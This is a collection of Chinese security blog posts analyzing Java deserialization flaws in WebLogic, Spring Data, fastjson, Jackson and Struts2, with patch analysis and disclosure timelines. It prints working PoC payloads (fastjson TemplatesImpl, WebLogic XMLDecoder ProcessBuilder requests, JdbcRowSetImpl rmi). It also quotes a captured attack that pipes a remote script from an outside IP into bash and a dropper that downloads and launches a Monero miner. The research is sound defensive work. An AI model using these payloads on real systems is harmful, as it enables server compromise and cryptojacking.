Weblogic已经将互联网暴露的PoC都已经加入了黑名单，如果要绕过他的黑名单的限制就只能自己动手构造。来看看InboundMsgAbbrev中resolveProxyClass的实现，resolveProxyClass是处理rmi接口类型的，只判断了java.rmi.registry.Registry，其实随便找一个rmi接口即可绕过。

1
2
3
4
5
6
7
8
9
10
11
12
13
protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException {
   String[] arr$ = interfaces;
   int len$ = interfaces.length;
   for(int i$ = 0; i$ < len$; ++i$) {
      String intf = arr$[i$];
      if(intf.equals("java.rmi.registry.Registry")) {
         throw new InvalidObjectException("Unauthorized proxy deserialization");
      }
   }
   return super.resolveProxyClass(interfaces);
}

其实核心部分就是JRMP（Java Remote Method protocol），在这个PoC中会序列化一个RemoteObjectInvocationHandler，它会利用UnicastRef建立到远端的tcp连接获取RMI registry，加载回来再利用readObject解析，从而造成反序列化远程代码执行。
大致的调用栈如下：
readObject:66, InboundMsgAbbrev (weblogic.rjvm), InboundMsgAbbrev.java
-》readExternalData:1810, ObjectInputStream (java.io), ObjectInputStream.java
—》readExternal:1433, StreamMessageImpl (weblogic.jms.common), StreamMessageImpl.java
—–》readObject:455, RemoteObject (java.rmi.server), RemoteObject.java

披露时间线：
2017/7/19：发现问题
2017/11/23：报告给Oracle官方
2017/11/29：Oracle官方接收
2017/11/30：Oracle官方分配bug号(S0947640)，正式进入主线版本修复
2017/11/30：索要公司域名邮箱
2018/4/14：分配CVE，CVE-2018-2628
2018/4/17：发布补丁

发表于 | 分类于 | | 阅读次数

1，漏洞公告：

链接：https://pivotal.io/security/cve-2018-1273
Severity：Critical
Vendor：Spring by Pivotal

Description
Spring Data Commons, versions prior to 1.13 to 1.13.10, 2.0 to 2.0.5, and older unsupported versions, contain a property binder vulnerability caused by improper neutralization of special elements. An unauthenticated remote malicious user (or attacker) can supply specially crafted request parameters against Spring Data REST backed HTTP resources or using Spring Data’s projection-based request payload binding hat can lead to a remote code execution attack.

Affected Pivotal Products and Versions

Severity is critical unless otherwise noted.

  • Spring Data Commons 1.13 to 1.13.10 (Ingalls SR10)
  • Spring Data REST 2.6 to 2.6.10 (Ingalls SR10)
  • Spring Data Commons 2.0 to 2.0.5 (Kay SR5)
  • Spring Data REST 3.0 to 3.0.5 (Kay SR5)
  • Older unsupported versions are also affected

Mitigation
Users of affected versions should apply the following mitigation:

  • 2.0.x users should upgrade to 2.0.6
  • 1.13.x users should upgrade to 1.13.11
  • Older versions should upgrade to a supported branch

Releases that have fixed this issue include:

  • Spring Data REST 2.6.11 (Ingalls SR11)
  • Spring Data REST 3.0.6 (Kay SR6)
  • Spring Boot 1.5.11
  • Spring Boot 2.0.1

There are no other mitigation steps necessary.

Note that the use of authentication and authorization for endpoints, both of which are provided by Spring Security, limits exposure to this vulnerability to authorized users.

Credit
This issue was identified and responsibly reported by Philippe Arteau, GoSecure Inc.

References

2，补丁分析：

补丁的内容：DATACMNS-1282 - Switched to SimpleEvaluationContext in MapDataBinder.很明显这是一个spel表达式注入漏洞。补丁的内容如下：
1
补丁大致就是将StandardEvaluationContext替代为SimpleEvaluationContext，由于StandardEvaluationContext权限过大，可以执行任意代码，会被恶意用户利用。
SimpleEvaluationContext的权限则小的多，只支持一些map结构，通用的jang.lang.Runtime,java.lang.ProcessBuilder都已经不再支持，详情可查看SimpleEvaluationContext的实现。

3，PoC构造：

PoC的构造实在可以说路途忐忑，首先官方的描述信息带有一点误导的作用，当然也有可能是我水平不够，没有找到利用点。Spring官方说一个恶意攻击者可以构造任意参数来攻击Spring Data REST支持的http资源或者Spring Data’s projection的请求绑定来达到远程攻击的目的。再加上官方给的链接，直接就盯上了projection这个项目。特别是里面提到的json自动绑定技术。仔细阅读官方资料，发送payload调试，加断点，没有一点反响，肯定是漏洞没触发呗。简单粗暴的方式行不通，只能一个节点一个节点的分析调试。

首先拉取项目https://github.com/spring-projects/spring-data-examples/ ，修改pom.xml中parent节点为

1
2
3
4
5
<parent>
   <groupId>org.springframework.boot</groupId>
   <artifactId>spring-boot-starter-parent</artifactId>
   <version>2.0.0.RC1</version>
</parent>

为什么要降到这个版本，是因为spring-data-commons在2.0.5版本就拒绝了SpEl表达式，添加了如下代码：

1
2
3
context.setTypeLocator(typeName -> {
   throw new SpelEvaluationException(SpelMessage.TYPE_NOT_FOUND, typeName);
})

初步研究了下，我也绕不过，就只能再降低个版本了。详细release说明见：https://github.com/spring-projects/spring-data-commons/blob/d8a1c2cfde78e87cd4bae3bfcc9782750a783b0b/src/main/resources/changelog.txt

导入到IDEA里，打开项目web[spring-data-web-example]中的UserController.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
@Controller
@RequiredArgsConstructor
@RequestMapping("/users")
class UserController {
   private final UserManagement userManagement;
   /**
    * Registers a new {@link User} for the data provided by the given {@link UserForm}. Note, how an interface is used to
    * bind request parameters.
    *
    * @param userForm the request data bound to the {@link UserForm} instance.
    * @param binding the result of the binding operation.
    * @param model the Spring MVC {@link Model}.
    * @return
    */
   @RequestMapping(method = RequestMethod.POST)
   public Object register(UserForm userForm, BindingResult binding, Model model) {
      userForm.validate(binding, userManagement);
      if (binding.hasErrors()) {
         return "users";
      }
      userManagement.register(new Username(userForm.getUsername()), Password.raw(userForm.getPassword()));
      RedirectView redirectView = new RedirectView("redirect:/users");
      redirectView.setPropagateQueryParams(true);
      return redirectView;
   }

注意到如下代码：
@RequestMapping(method = RequestMethod.POST) public Object register(UserForm userForm, BindingResult binding, Model model)
这其中就有UserForm，BindingResult, Model，为啥会是从这个接口进入呢？还是要从问题点出发，也就是MapDataBinder的实现。存在问题的代码是MapDataBinder.setPropertyValue,但是怎么被调用起来的还是挺复杂，慢慢可以看出是ProxyingHandlerMethodArgumentResolver使用了MapDataBinder的接口，实现大体如下：

1
2
3
4
5
6
7
8
9
10
public class ProxyingHandlerMethodArgumentResolver extends ModelAttributeMethodProcessor
      implements BeanFactoryAware, BeanClassLoaderAware {
protected Object createAttribute(String attributeName, MethodParameter parameter, WebDataBinderFactory binderFactory,
      NativeWebRequest request) throws Exception {
   MapDataBinder binder = new MapDataBinder(parameter.getParameterType(), conversionService.getObject());
   binder.bind(new MutablePropertyValues(request.getParameterMap()));
   return proxyFactory.createProjection(parameter.getParameterType(), binder.getTarget());
}

这块又是怎么调用起来的，只能找官方文档了，找到了这么一处，http://ju.outofmemory.cn/entry/125029
从 这里可以看出一些端倪，

1
2
3
4
5
6
7
8
9
10
11
12
interface Form {
  @NotBlank String getName();
  @NotBlank String getText();
}
@Controller
@RequestMapping(value = "/guestbook")
class GuestbookController {
  @RequestMapping(method = RequestMethod.GET)
  String guestbook(Form form, Model model) { … }
  @RequestMapping(method = RequestMethod.POST)
  String guestbook(@Valid Form form, Errors errors, Model model) { … }
}

在处理类似代码的时候会用到ProxyingHandlerMethodArgumentResolver，总算上了半点道，这里Form，有Model，对Spring 真是不熟悉，特别是各种各样的注解，看着也头疼，而且不好调试，只能偷懒了，找官方项目，于是找到了web[spring-data-web-example]，其实这个早已经在看了，只是前面看了点又放弃了，还好，PoC一发立马弹出计算器。当然这个PoC已经单步调试过，单步调试的坑也是非常多，比如说找可写权限的属性等这里暂且先不说了。只是这次这次直接从web请求触发。具体的栈图如下：
2
最后给大家放个图，以证明漏洞有效，计算器图：
3
其实username，password，repeatedPassword字段都可以添加漏洞利用代码。还有一点就是[]是嵌套属性的写法，在[]中间可以写入表达式，先找到username，这个也是跟这个表单属性绑定的，具体的代码如下：

1
2
3
4
interface UserForm {
    String getUsername();
    String getPassword();
    String getRepeatedPassword();

发表于 | 分类于 | | 阅读次数

2017年反序列化漏洞年度报告

Jackson,fastjson,XStream,XMLDecoder,WebLogic,反序列化漏洞，年度报告

背景

2017年OWASP发布了新的十大web漏洞威胁，其中A8:2017就是不安全的反序列化，A9:2017-使用含有已知漏洞的组件也和反序列化紧密相连，这是因为在Java开发中很多代码都依赖于第三方组件，而这些组件可能会存在反序列漏洞，典型的例子就是Jackson，fastjson，XStream，XMLDecoder等开源组件。绿盟科技NS-SRC 处理的漏洞应急中就有很大一部分是反序列化漏洞，下面我们来一一分析2017年我们应急的那些反序列化漏洞。
总得来说，2017年出现的反序列化漏洞和以往反序列漏洞在漏洞形成方式上不太一样，在以往都是由于Java自身的反序列特征导致的漏洞，2017年则多了fastjson，Jackson等，这两个库都能将json文本转换成具体的java bean，在这个转换过程中会导致远程代码执行。
本报告重点回顾2017年绿盟科技重点应急，影响面非常广的那些反序列化漏洞。从这个报告中能看出反序列化漏洞的发展，攻击方和防御方不停的对抗过程，bypass和反bypass在这个过程中体现得淋漓尽致。

概述

应急路线图

从3月份爆出Fastjson的反序列化特性导致的远程代码执行，四月份则是Jackson，Log4j2，Jenkins的反序列化造成的远程代码执行，接着6月份流出了Weblogic CVE-2017-3248的利用代码。稍微消停了一会，Struts2又被安全研究人员盯上，爆出Struts2-052，又是一个远程代码执行。在11月份，由于Jackson官方对漏洞不敏感，接着又被曝CVE-2017-15095，又一个绕过。进入12月份，Fastjson和Jackson相继发布了几个补丁修复那些黑名单的绕过；Weblogic XMLDecoder(CVE-2017-10352)的漏洞被广泛应用于于挖坑。由于很多漏洞都是远程代码执行，有的一个HTTP POST请求就能getshell，所以备受黑产亲睐。

反序列化漏洞

1 fastjson反序列化漏洞

2017年3月15日，fastjson官方发布安全公告表示fastjson在1.2.24及之前版本存在远程代码执行高危安全漏洞。攻击者可以通过此漏洞远程执行恶意代码来入侵服务器。fastjson官方建议直接升级到1.2.28/1.2.29或者更新版本来保证系统安全。4月29日，本文作者（xxlegend）构造出了Fastjson的反序列漏洞的PoC，引起了安全圈的广泛讨论。详细的分析可参照1，下面做简单的回顾。

1.1 补丁

在ParserConfig.java中添加了checkAutoType，不论用户是否开启了autoTypeSupport功能，在类名被加载时都需要通过额外的一层处理（来判断是否在acceptlist里），只有满足了此限制的类名才会被加载。另外引入了黑名单机制，在开启了autoTypeSupport的情况下，如果加载的是黑名单中类也会抛出异常。补丁核心代码如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
        if (typeName == null) {
            return null;
        }
        if (typeName.length() >= maxTypeNameLength) {
            throw new JSONException("autoType is not support. " + typeName);
        }
        final String className = typeName.replace('$', '.');
        if (autoTypeSupport || expectClass != null) {
            for (int i = 0; i < acceptList.length; ++i) {
                String accept = acceptList[i];
                if (className.startsWith(accept)) {
                    return TypeUtils.loadClass(typeName, defaultClassLoader);
                }
            }
            for (int i = 0; i < denyList.length; ++i) {
                String deny = denyList[i];
                if (className.startsWith(deny)) {
                    throw new JSONException("autoType is not support. " + typeName);
                }
            }
        }
        Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
        if (clazz == null) {
            clazz = deserializers.findClass(typeName);
        }
        if (clazz != null) {
            if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
                throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
            }
            return clazz;
        }

1.2 初略分析

静态分析得知，要构造一个可用的poc，肯定得引入denyList的库。这里我们就引入com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类。

1
2
3
4
5
6
7
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
       String text1 = "{\"@type\":\"" + NASTY_CLASS +
               "\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }," +
               "\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n";
       System.out.println(text1);
      
       Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);

最核心的部分是_bytecodes，它是要执行的代码，@type是指定的解析类，fastjson会根据指定类去反序列化得到该类的实例，在默认情况下，fastjson只会反序列化公开的属性和域，而com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl中_bytecodes却是私有属性，_name也是私有域，所以在parseObject的时候需要设置Feature.SupportNonPublicField，这样_bytecodes字段才会被反序列化。_tfactory这个字段在TemplatesImpl既没有get方法也没有set方法，这没关系，我们设置_tfactory为{ },fastjson会调用其无参构造函数得_tfactory对象，这样就解决了某些版本中在defineTransletClasses()用到会引用_tfactory属性导致异常退出。整个PoC的执行过程的调用栈如下:

1
2
3
4
5
6
7
8
9
10
11
JSON.parseObject
...
JavaBeanDeserializer.deserialze
...
FieldDeserializer.setValue
...
TemplatesImpl.getOutputProperties
TemplatesImpl.newTransformer
TemplatesImpl.getTransletInstance
...
Runtime.getRuntime().exec

更多的原理分析可见2 。

1.3 后续官方修补

fastjson官方后续又添加了一些补丁，本文作者给fastjson官方提交了两次绕过，fastjson官方都发布了相应更新。具体如下：

  1. fastjson-1.2.34版本发布，当autoType=true时增强安全防护
  2. fastjson-1.2.42版本发布 Bug修复安全加固
  3. fastjson-1.2.43版本发布 Bug修复安全加固
  4. fastjson-1.2.44版本发布 Bug修复安全加固

在fastjson-1.2.42版本中通过异或操作混淆了其黑名单，可以阻挡一部分人分析其黑名单内容，其实这是自欺欺人的。具体的黑名单分析读者可以自行研究。

2 Jackson反序列化

Jackson是一个开源的Java序列化与反序列化工具，可以将java对象序列化为xml或json格式的字符串，或者反序列化回对应的对象，由于其使用简单，速度较快，且不依靠除JDK外的其他库，被众多用户所使用。但是其组件Jackson-databind可以指定特定的反序列化类，这样就存在代码执行的风险。

2.1 CVE-2017-7525

这个CVE是本文作者报告的。下面来看一个Jackson官方的补丁，这个补丁主要是将TemplatesImpl加入了黑名单，从后续的CVE就可以看出这是远远不够的，可以通过各种方式绕过。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
+    protected void checkIllegalTypes(DeserializationContext ctxt, JavaType type,
+            BeanDescription beanDesc)
+        throws JsonMappingException
+    {
+        // There are certain nasty classes that could cause problems, mostly
+        // via default typing -- catch them here.
+        Class<?> raw = type.getRawClass();
+        String name = raw.getSimpleName();
+
+        if ("TemplatesImpl".equals(name)) { // [databind#1599]
+            if (raw.getName().startsWith("com.sun.org.apache.xalan")) {
+                throw JsonMappingException.from(ctxt,
+                        String.format("Illegal type (%s) to deserialize: prevented for security reasons",
+                                name));
+            }
+        }
+    }
 }

2.1.1 分析

Jackson在反序列的过程中，首先扫描输入的json文件，分析其要反序列的类，通过反射的方式获取该类的构造方法，包括无参构造方法和有参构造方法，获取其setter，getter方法用于操作具体的类的属性。反序列的过程就是先通过反射得到一个实例，通过其setter或者getter方法给该实例的属性赋值，当然如果引入的类的setter方法或者getter方法中存在执行一些一些危险的操作，如利用rmi远程加载类则会造成远程代码执行缺陷。PoC示例图Jackson
详细分析可参考3。

后续官方修补

CVE-2017-15095是CVE-2017-7525的延续，这个漏洞同样也是本文作者报告的。同样是黑名单的绕过。
CVE-2017-17485是CVE-2017-7525的延续，这个漏洞引入的类是org.springframework.context.support.ClassPathXmlApplicationContext,利用这个库的bean重新生成类，而这个bean所依赖的xml是由攻击者来定制的。从这里也可以看出黑名单就是个无底洞，深不可见，bypass也是不完。由于Jackson的特性，可以预测，Jackson在2018年还将出现更多的绕过。

3 Struts2

struts2号称漏洞之王，2017应急中就处理了S2-045，S2-046，S2-48，S2-052，S2-055，都是远程代码执行级别的漏洞。S2-045的PoC现在还被黑客用于各种漏洞扫描，挖矿。既然是漏洞之王，那自然少不了反序列化，S2-052（CVE-2017-9805）就是XStream使用不当造成的反序列化。S2-055则是由于Jackson-databind导致的反序列化。这两个漏洞的典型特点都是不恰当的使用第三方库导致的。

3.1 S2-052分析

根据官方的描述信息来看，是REST插件使用到XStreamHandler处理xml数据的时候，由于未对xml数据做任何过滤，在进行反序列将xml数据转换成Object时导致的RCE。

3.1.1 补丁

补丁的核心部分如下：

1
2
3
4
5
6
7
8
9
10
11
+    protected void addDefaultPermissions(ActionInvocation invocation, XStream stream) {
 +        stream.addPermission(new ExplicitTypePermission(new Class[]{invocation.getAction().getClass()}));
 +        if (invocation.getAction() instanceof ModelDriven) {
 +            stream.addPermission(new ExplicitTypePermission(new Class[]{((ModelDriven) invocation.getAction()).getModel().getClass()}));
 +        }
 +        stream.addPermission(NullPermission.NULL);
 +        stream.addPermission(PrimitiveTypePermission.PRIMITIVES);
 +        stream.addPermission(ArrayTypePermission.ARRAYS);
 +        stream.addPermission(CollectionTypePermission.COLLECTIONS);
 +        stream.addPermission(new ExplicitTypePermission(new Class[]{Date.class}));
 +    }

主要就是将xml中的数据白名单化，把Collection和Map，一些基础类，时间类放在白名单中，这样就能阻止XStream反序列化的过程中带入一些有害类。

3.1.2 分析

首先分析入口文件，在Struts2的配置文件中有如下xml描述信息：

1
2
<bean type="org.apache.struts2.rest.handler.ContentTypeHandler" name="xml" class="org.apache.struts2.rest.handler.XStreamHandler"/>
<constant name="struts.action.extension" value="xhtml,,xml,json"/>

也就是说ContentType为xml的所有请求都会交给XStreamHandler来处理，XStreamHanler.toObject调用了XStream.fromXml来处理那些请求中的xml信息，从而进入反序列化流程。
这里面最有意思的应该是官方给的临时缓解措施不起作用，官方给出的缓解措施<constant name="struts.action.extension" value="xhtml,,,json" />，从字面意思也能看出来，这个是针对action的后缀的，也就是说如果后缀不带xml也就可以绕过。而POST请求一般不带xml后缀直接忽视这个缓解措施。下图就是一个示例：struts2
所以说Struts的官方也是根据PoC修漏洞，没完全测试过的东西就直接放出来。XStream只跟Content-Type有关，如果Content-Type中含有xml，则会交给XStream处理，更多的详情分析见4

3.2 S2-055分析

2017年12月1日，Apache Struts发布最新的安全公告，Apache Struts 2.5.x REST插件存在远程代码执行的中危漏洞，漏洞编号与CVE-2017-7525相关。漏洞的成因是由于使用的Jackson版本过低在进行JSON反序列化的时候没有任何类型过滤导致远程代码执行。当然官方说的影响是未知，其实这里是远程代码执行。

S2-055补丁

没有提供补丁，只是提醒升级Jackson库版本。

S2-055分析

为了让Jackson支持多态，Jackson官方提供了几种方式，第一种全局Default Typing机制，第二种为相应的class添加@JsonTypeInfo注解。这里会启用第二种方式，在第二种方式中，大体代码如下：

1
2
@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS, include = JsonTypeInfo.As.WRAPPER_ARRAY)
    public Object clientName;

在clientName上方添加注解，打开支持多态的特性，这样我们就能指定clientName的类型；另一个是将clientName的类型改为Object类型，这样就避免了类型不匹配或者不是其子类的错误。
另外Jackson不是默认句柄，需要设置ContentTypeHandler，这样当Content-Type为application/json格式的请求都交给了JcaksonLibHandler来处理。具体的PoC就是Jackson的PoC，这里不再展示，详情分析见5。这个漏洞和S2-052非常类似，都是引用的第三方库存在缺陷导致的漏洞，这样的案例数不胜数，在Java生态中简直就是一个灾难，第三方依赖实在太多。

4 Weblogic

在2017年，整个Oracle的产品线都深受反序列化影响，其中Weblogic影响面尤其广泛，很多漏洞的CVSS评分都是9.8，9.9甚至为10。
weblogic
而且CVE-2017-3248的PoC已经在github上，并且被用于黑产，CVE-2017-10352 PoC也被泄露同样被用于黑产。

###4.1 CVE-2017-3248 分析

这个漏洞(CVE-2017-3248)就是利用rmi机制的缺陷，通过JRMP协议达到执行任意反序列化payload的目的。利用步骤可以分为两步，第一步建立JRMP监听端口，第二步执行反序列化操作，其反序列化内容指向外部的JRMP监听端口，这样在反序列的过程中就会从远程JRMP监听端口加载内容并执行序列化操作，详细的利用工具可以使用ysoserial。

###4.2 CVE-2017-10352 分析

这个漏洞是由于XMLDecoder这个缺陷库存在代码执行问题，同样也是由于被黑产利用而被大家广泛得知。其实在CVE-2017-3506中，Weblogic官方已经做了一次修补，只是当时的修补不够彻底，后来有研究员给Weblogic提供了绕过的PoC，Weblogic官方再次完整修补。同时这个PoC也被泄露，非常多的用户中招。

4.2.1 补丁

补丁的核心代码如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
private void validate(InputStream is) {
   WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
   try {
      SAXParser parser = factory.newSAXParser();
      parser.parse(is, new DefaultHandler() {
         private int overallarraylength = 0;
         public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
            if(qName.equalsIgnoreCase("object")) {
               throw new IllegalStateException("Invalid element qName:object");
            } else if(qName.equalsIgnoreCase("new")) {
               throw new IllegalStateException("Invalid element qName:new");
            } else if(qName.equalsIgnoreCase("method")) {
               throw new IllegalStateException("Invalid element qName:method");
            } else {
               if(qName.equalsIgnoreCase("void")) {
                  for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {
                     if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
                        throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));
                     }
                  }
               }
               if(qName.equalsIgnoreCase("array")) {
                  String var9 = attributes.getValue("class");
                  if(var9 != null && !var9.equalsIgnoreCase("byte")) {
                     throw new IllegalStateException("The value of class attribute is not valid for array element.");
                  }

这个补丁限定了object，new,method,void，array等字段，就限定了不能生成java 实例。

4.2.2 分析

根据补丁大概就得就能猜出相应的PoC，具体如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.3.216:7001
Accept-Encoding: identity
Content-Length: 683
Accept-Language: zh-CN,zh;q=0.8
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Connection: keep-alive
Cache-Control: max-age=0
Content-Type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
        <java version="1.8.0_131" class="java.beans.XMLDecoder">
          <void class="java.lang.ProcessBuilder">
            <array class="java.lang.String" length="3">
              。。。。
          <void method="start"/></void>
        </java>
      </work:WorkContext>
    </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>

在动态调试过程中这个调用栈非常深，我们简单解释一下关键的几个部位，首先是WorkContextServerTube.java中processRequest方法，主要功能就是分割整个xml，抽取真正执行的xml交给readHeadOld方法，也就是请求中soapenv:Header包裹的部分，这一部分最终会交给XMLDecoder，XMLDecoder完成数据到对象的转换，即会执行恶意代码。并且wls-wsat是一个特权应用，无需用户名密码验证，所以危害非常大。
更多详情分析可参考文档 6 , 同时绿盟科技这篇报告的英文版还被Java-Deserialization-Cheat-Sheet收录。

4.2.3 黑产利用

在绿盟的IPS设备或者蜜罐设备就能看到很多这种利用Weblogic XMLDecoder（CVE-2017-10352）进行黑产利用的特征，下面是绿盟IPS抓到的示例，具体如下：

1
2
3
srcip为173.212.217.181
POST /wls-wsat/CoordinatorPortType HTTP/1.1////0d////0aHost: 58.210.×.×:8001////0d////0aAccept-Encoding: identity////0d////0aContent-Length: 983////0d////0aAccept-Language: zh-CN,zh;q=0.8////0d////0aAccept: */*////0d////0aUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0////0d////0aAccept-Charset: GBK,utf-8;q=0.7,*;q=0.3////0d////0aConnection: keep-alive////0d////0aReferer: http://www.baidu.com////0d////0aCache-Control: max-age=0////0d////0aContent-Type: text/xml////0d////0a////0d////0a<soapenv:Envelope xmlns:soapenv= http://schemas.xmlsoap.org/soap/envelope/ >////0a          <soapenv:Header>////0a            <work:WorkContext xmlns:work= http://bea.com/2004/06/soap/workarea/ >////0a                <java version= 1.8.0_131  class= java.beans.XMLDecoder >////0a                  <void class= java.lang.ProcessBuilder >////0a                    <array class= java.lang.String  length= 3 >////0a                      <void index= 0 >////0a                        <string>/bin/bash</string>////0a                      </void>////0a                      <void index= 1 >////0a                        <string>-c</string>////0a                      </void>////0a                      <void index= 2 >////0a                        <string>wget -O - 191.101.180.74/robots.txt|bash</string>////0a                      </void>////0a                    </array>////0a                  <void method= start /></void>////0a                </java>////0a              </work:WorkContext>////0a            </soapenv:Header>////0a          <soapenv:Body/>////0a        </soapenv:Envelope>

对于linux系统会去191.101.180.74下载一个bash脚本执行挖坑行为（门罗币）。这个robots.txt的核心内容如下：

1
2
3
4
5
6
7
8
9
wget -q http://45.123.190.178/Silence -O /tmp/Silence
curl -o /tmp/Silence http://45.123.190.178/Silence
else
exit 0;
fi
chmod +x /tmp/Silence
nohup /tmp/Silence -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:80 -u 44pgg5mYVH6Gnc7gKfWGPR2CxfQLhwdrCPJGzLonwrSt5CKSeEy6izyjEnRn114HTU7AWFTp1SMZ6eqQfvrdeGWzUdrADDu -p x -R 1 &>>/dev/null &
sleep 10
rm -rf /tmp/Silence

对srcip：173.212.217.181溯源跟踪，从绿盟科技威胁情报中心NTI中的数据也能看出，该IP从2017年8月份开始，一直被用于特定漏洞扫描以便发现更多具有脆弱性的主机。nti数据

#总结
从OWASP 2017 top ten报告中可以看出反序列化是一个业内都开始关注重视的漏洞类型，一个原因就是该漏洞很多时候都是通过黑名单的方式的修复，这就导致了层出不穷的绕过，从Jackson，fastjson，weblogic一见端倪，都是修复，绕过，再修复，再绕过，没有尽头。另外一个原因就是该漏洞的危害非常大，通常都是RCE，一个PoC直接获取系统权限，不管是黑产，灰产，开发，运维还有白帽安全人员都非常重视该类型的漏洞。从系统的重要性来看，国内很多商业系统都是基于Java框架开发，这些中间件或者Web容器一旦出现漏洞，整个系统都变得不堪一击，可能造成不可挽回的影响。
对于反序列漏洞的防御，业内也是一个难题，首先得确保所有的依赖库和容器已经更新到最新版本，这样能防止已知漏洞的攻击。另外绿盟科技的IPS，WAF都已经具备对这些漏洞的防护能力，更多的防护策略请参考绿盟科技下一篇关于反序列化漏洞防御的文档。

发表于 | 分类于 | | 阅读次数

挖矿确实太火，现在只要存在RCE漏洞就会有矿机的身影，这不weblogic又火了一把。这次矿机使用的PoC是wls wsat模块的RCE漏洞，这个漏洞的核心就是XMLDecoder的反序列化漏洞，关于XMLDecoder反序列化的漏洞在2013年就被广泛传播，这次的漏洞是由于官方修复不完善导致被绕过。

1 补丁分析

首先来看下weblogic的历史补丁，四月份补丁通告：
http://www.oracle.com/technetwork/security-advisory/cpuapr2017-3236618.html
这里面主要关注CVE-2017-3506，这是web service模块的漏洞。

10月份补丁通告：
https://www.oracle.com/technetwork/topics/security/cpuoct2017-3236626.html
主要关注CVE-2017-10271，是WLS Security组建的漏洞，英文描述如下：
A remote user can exploit a flaw in the Oracle WebLogic Server WLS Security component to gain elevated privileges [CVE-2017-10271].这是CVE-2017-10271的描述信息。
测试的poc如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.3.216:7001
Accept-Encoding: identity
Content-Length: 683
Accept-Language: zh-CN,zh;q=0.8
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Connection: keep-alive
Cache-Control: max-age=0
Content-Type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
        <java version="1.8.0_131" class="java.beans.XMLDecoder">
          <void class="java.lang.ProcessBuilder">
            <array class="java.lang.String" length="3">
              。。。。
          <void method="start"/></void>
        </java>
      </work:WorkContext>
    </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>

对于poc中uri中/wls-wsat/CoordinatorPortType 可以换成CoordinatorPortType11等wsat 这个webservice服务中存在的其他uri
执行的效果图如下：
0

跟踪到底这还是XMLDecoder的漏洞，下面来分析补丁代码：首先来看3506的补丁的分析，在文件weblogic/wsee/workarea/WorkContextXmlInputAdapter.java中，
添加了validate方法，方法的实现如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
private void validate(InputStream is) {
      WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
      try {
         SAXParser parser = factory.newSAXParser();
         parser.parse(is, new DefaultHandler() {
            public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
               if(qName.equalsIgnoreCase("object")) {
                  throw new IllegalStateException("Invalid context type: object");
               }
            }
         });
      } catch (ParserConfigurationException var5) {
         throw new IllegalStateException("Parser Exception", var5);
      } catch (SAXException var6) {
         throw new IllegalStateException("Parser Exception", var6);
      } catch (IOException var7) {
         throw new IllegalStateException("Parser Exception", var7);
      }
   }

简单来说就是在解析xml的过程中，如果Element字段值为Object就抛出异常，这简直太脑残了，所以马上就有了CVE-2017-10271。我前段时间分析Oracle Weblogic十月份的补丁的时候看到WorkContextXmlInputAdapter 相关代码时只关注了这块dos的漏洞，没看到10271添加的对new，method，void的去除，还想当然的以为自己找到0day了呢。因为可以通过其他方式绕过，比如典型的就是将object改为void，这是挖矿的人采用的poc，我也想到了，当然也还可以通过new关键字来创建反序列化执行的poc，下面简单示例一下通过new关键字来执行命令：

1
2
3
4
5
<java version="1.4.0" class="java.beans.XMLDecoder">
    <new class="java.lang.ProcessBuilder">
        <string>calc</string><method name="start" />
    </new>
</java>

至于为什么XMLDecoder在解析的过程中能执行代码呢，大家可以以如下测试用例进行测试：

1
2
3
4
5
6
7
8
9
10
<java version="1.8.0_131" class="java.beans.XMLDecoder">
    <void class="com.sun.rowset.JdbcRowSetImpl">
    <void property="dataSourceName">
        <string>rmi://localhost:1099/Exploit</string>
    </void>
    <void property="autoCommit">
        <boolean>true</boolean>
    </void>
    </void>
</java>

